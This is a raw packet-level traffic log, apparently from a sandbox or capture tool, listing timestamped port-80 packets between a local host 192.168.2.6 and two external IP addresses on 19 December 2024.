Dec 19, 2024 08:09:31.280318975 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.280376911 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.280414104 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.281403065 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.281466961 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.281508923 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.281547070 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.282459974 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.282514095 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.282571077 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.282608986 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.283566952 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.283627033 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.283663988 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.283711910 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.284641027 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.284699917 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.284790993 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.284884930 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.285752058 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.285792112 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.285842896 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.285881042 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.286838055 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.286962032 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.287007093 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.287936926 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.287988901 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.288048983 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.288084030 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.289022923 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.289119959 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.289171934 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.290144920 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.290250063 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.290303946 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.291238070 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.291307926 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.291354895 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.291393042 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.292298079 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.292346954 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.292411089 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.292450905 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.293412924 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.293462038 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.293523073 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.293703079 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.294475079 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.294625044 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.294629097 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.294662952 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.295531034 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.295573950 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.298485994 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.344532013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.344544888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.344685078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.345860958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.345998049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.346461058 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.350440979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.350497961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.351119995 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.354994059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.355082989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.359549046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.359661102 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.359662056 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.359735012 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.364100933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.364219904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.364892006 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.368578911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.368700981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.371018887 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.373089075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.373202085 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.373310089 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.377604961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.377691984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.377831936 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.382055044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.382134914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.382886887 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.386552095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.386667013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.386733055 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.391108990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.391211987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.391422033 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.395529985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.395665884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.395733118 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.400019884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.400149107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.400321007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.404512882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.404628038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.405771017 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.409004927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.409133911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.409735918 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.413523912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.413638115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.414962053 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.417994022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.418042898 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.418510914 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.422494888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.422705889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.422832966 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.426981926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.427098036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.427476883 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.430249929 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.430295944 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.430325031 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.430418968 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.430810928 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.430932045 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.430955887 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.430991888 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.431464911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.431587934 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.431663990 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.431859970 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.432027102 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.432255030 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.432383060 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.432437897 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.433345079 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.433485985 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.433536053 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.434463024 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.434511900 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.434570074 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.434628963 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.435535908 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.435657024 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.435679913 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.435947895 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.435967922 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.436031103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.436656952 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.436707973 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.436711073 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.436779976 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.437233925 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.437726021 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.437861919 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.437877893 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.437906981 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.438828945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.438936949 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.438992023 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.439928055 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.440026999 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.440045118 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.440088034 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.441036940 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.441138983 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.441175938 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.441426992 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.442102909 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.442240000 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.442265034 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.442298889 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.443190098 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.443279982 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.443305016 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.443399906 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.444298983 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.444413900 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.444648027 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.445400000 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.445525885 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.445530891 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.445777893 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.446496964 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.446603060 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.446675062 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.447566986 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.447664976 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.447690010 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.448591948 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.448746920 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.448812962 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.448826075 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.448960066 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.449743032 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.449868917 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.450051069 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.450886965 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.450978994 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.451003075 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.451136112 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.451950073 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.452053070 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.452074051 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.452399015 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.453094959 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.453145981 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.453167915 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.453242064 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.454149008 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.454215050 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.454242945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.454334974 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.455188990 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.455275059 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.455324888 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.455435038 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.456338882 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.456451893 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.456459045 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.456764936 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.457415104 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.457477093 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.457520962 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.458522081 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.458616972 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.458643913 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.458693981 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.459563017 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.459677935 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.459678888 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.459762096 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.460685015 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.460793972 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.460962057 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.461770058 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.461869001 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.461882114 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.461951971 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.462888002 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.462982893 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.463006020 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.463983059 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.464075089 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.464097023 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.464320898 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.464379072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.464399099 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.464953899 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.465248108 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.465362072 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.465382099 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.465702057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.465769053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.465787888 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.466000080 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.466135979 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.466232061 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.466268063 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.466305017 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.467226982 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.467344999 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.467345953 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.467674971 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.468316078 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.468374968 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.468400002 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.468431950 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.469584942 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.469666958 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.469700098 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.469861031 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.470266104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.470352888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.470618963 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.470710993 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.470765114 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.470766068 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.471601963 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.471682072 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.471714973 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.471781969 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.472707987 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.472771883 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.472796917 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.472862959 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.473782063 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.473844051 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.473898888 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.473958015 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.474857092 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.474929094 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.474960089 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.475019932 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.475966930 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.476027966 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.476078033 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.476238012 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.477049112 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.477119923 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.477144003 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.477206945 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.478143930 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.478209019 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.478265047 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.478323936 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.479253054 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.479310036 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.479341984 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.479403973 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.480319977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.480379105 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.480441093 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.480499029 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.481468916 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.481529951 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.481565952 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.481623888 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.482511997 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.482570887 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.482614994 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.482672930 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.483654976 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.483753920 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.483774900 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.483838081 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.484705925 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.484770060 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.484797001 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.484859943 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.485797882 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.485877991 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.485886097 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.485944986 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.486885071 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.486943007 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.486953020 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.487003088 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.536576986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.536675930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.537004948 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.537463903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.537532091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.537600994 CET	49862	80	192.168.2.6	194.87.47.113
